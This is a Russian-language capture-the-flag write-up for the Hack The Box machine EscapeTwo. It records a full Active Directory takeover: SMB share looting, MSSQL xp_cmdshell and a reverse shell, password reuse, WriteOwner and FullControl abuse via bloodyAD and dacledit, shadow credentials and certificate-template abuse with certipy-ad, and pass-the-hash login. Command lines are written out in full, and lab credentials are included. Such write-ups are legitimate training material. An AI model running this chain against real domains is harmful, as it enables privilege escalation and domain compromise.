EscapeTwo HTB Writeup
HTB machine link:
https://app.hackthebox.com/machines/EscapeTwo
Recon Ссылка на заголовок
Из описания тачки нам уже была предоставлена базовая учетная запись для старта: «Как обычно бывает в реальных пентестах Windows, вы запустите эту машину с учетными данными следующей учетной записи: rose / KxEPkKe6R8su».
rose
KxEPkKe6R8su
Просканируем открыте порты, тут у нас все стандартно для windows машины
Начнём с проверки выданной нам учетки на валидность и добавим полученное доменное имя sequel.htb
в /etc/hosts/
echo "10.10.11.51 sequel.htb" | sudo tee -a /etc/hosts
User flag Ссылка на заголовок
Попробуем базовое перечисление smb
Можно зайти через smbclient
Бегая по каталогам, находим интересный нам Accounting Department. Нужно скачать его с помощью команды get, а затем распаковать.
smbclient //10.10.11.51/Accounting\ Department -U rose --option='client min protocol=SMB2'
Внутри будут находиться учетные данные пользователей, которые мы сможем использовать позже.
Учетная запись sa является дефолтной админской учёткой для подключения и управления БД MSSQL. Проверка показала, что учетка валидная, попробуем воспользоваться mssqlclient из impacket для входа в систему.
Отлично, теперь мы - sa!) По умолчанию хранимая процедура xp_cmdshell отключена в MSSQL, но мы можем её включить и пользоваться всеми её преимуществами.
Обязательно обыскиваем хост на предмет чего-то полезного. Например, на нём есть примечательные файлы для развертывания MSSQL.
Сохраняем SQLSVCPASSWORD, он нам пригодится позже.
Самое полезное, что удаётся сделать - поймать reverse shell на свой прослушиватель. В примере ниже используется PowerShell нагрузка, закодированная в base64.
На текущий момент мы являемся пользователем sql_svc. У него есть определенные привилегии, например можно запустить winPEAS и быстренько собрать ключевую информацию о системе.
Один из интересных моментов - информация о том, что в системе когда-либо были авторизованы всего три пользователя - sql_svc, Administrator и ryan (жаль, что не Гослинг). Не трудно догадаться, что получение прав этого пользователя и будет нашим следующим вектором.
Методом проб и ошибок было определено, что для аутентификацией под пользователем ryan достаточно просто подобрать к нему пароль по списку всех паролей, ранее собранных в системе.
Таким образом мы получаем возможность аутентифицироваться на сервере под пользователем ryan. На рабочем столе пользователя забираем user flag.
Root flag Ссылка на заголовок
Далее рассмотрим эксплуатацию списков контроля дискреционного доступа (Discretionary Access Control Lists, DACL) с использованием разрешения WriteOwner. Злоупотребление разрешением WriteOwner может привести к смене владельца объекта на контролируемого злоумышленником пользователя (в данном случае им является ryan) и захвату объекта.
Поиску вектора поспособствовал отчёт bloodhound.
На схеме чётко видим, что за счёт прав WriteOwner от пользователя ryan можно заабузить учётку ca_svc.
Ниже перечислены команды, которые помогут нам захватить контроль над ca_svc
Используем bloodyAD для изменения владельца объекта ca_svc на пользователя ryan:
bloodyAD --host {host name} -d {domain name} -u {user} -p {password} set owner ca_svc ryan
Далее установим полные права (FullControl) для ryan. Теперь мы сможем от этого пользователя управлять объектом, включая возможность его изменения и удаления.
dacledit.py -action 'write' -rights 'FullControl' -principal '{user}' -target 'ca_svc' '{domain name}'/'{user}':'{password}'
Следующая команда certipy-ad для автоматического абьюза shadow учетной записи ca_svc. Мы подключается к контроллеру домена по IP-адресу (-dc-ip) и используем указанные учетные данные для аутентификации.
certipy-ad shadow auto -u {user}@{domain} -p '{pass}' -dc-ip {ip} -ns {ip} -target {ip} -account ca_svc
Далее ищем уязвимости в целевом хосте с использованием Kerberos аутентификации.
KRB5CCNAME=$PWD/ca_svc.ccache certipy-ad find -scheme ldap -k -debug -target {host name} -dc-ip {ip} -vulnerable -stdout
Команда ниже создает запрос на получение сертификата с использованием шаблона DunderMifflinAuthentication.
KRB5CCNAME=$PWD/ca_svc.ccache certipy-ad template -k -template DunderMifflinAuthentication -target {host name} -dc-ip {ip}
Эта команда создает запрос на сертификат для учетной записи ca_svc, используя указанные хеши и шаблон:
certipy-ad req -u ca_svc -hashes :hashes -ca sequel-DC01-CA -target {host} -dc-ip {ip} -template DunderMifflinAuthentication -upn Administrator@{domain} -ns {ip} -dns {ip}
Теперь дело за малым - аутентифицируемся с использованием PFX-файла, который был получен шагом ранее:
certipy-ad auth -pfx {some.pfx} -dc-ip {ip}
В замен мы получаем хеш.
Всё, что остается - воспользоваться evil-winrm и свеженьким хешом администратора. На рабочем столе нас будет ждать root flag.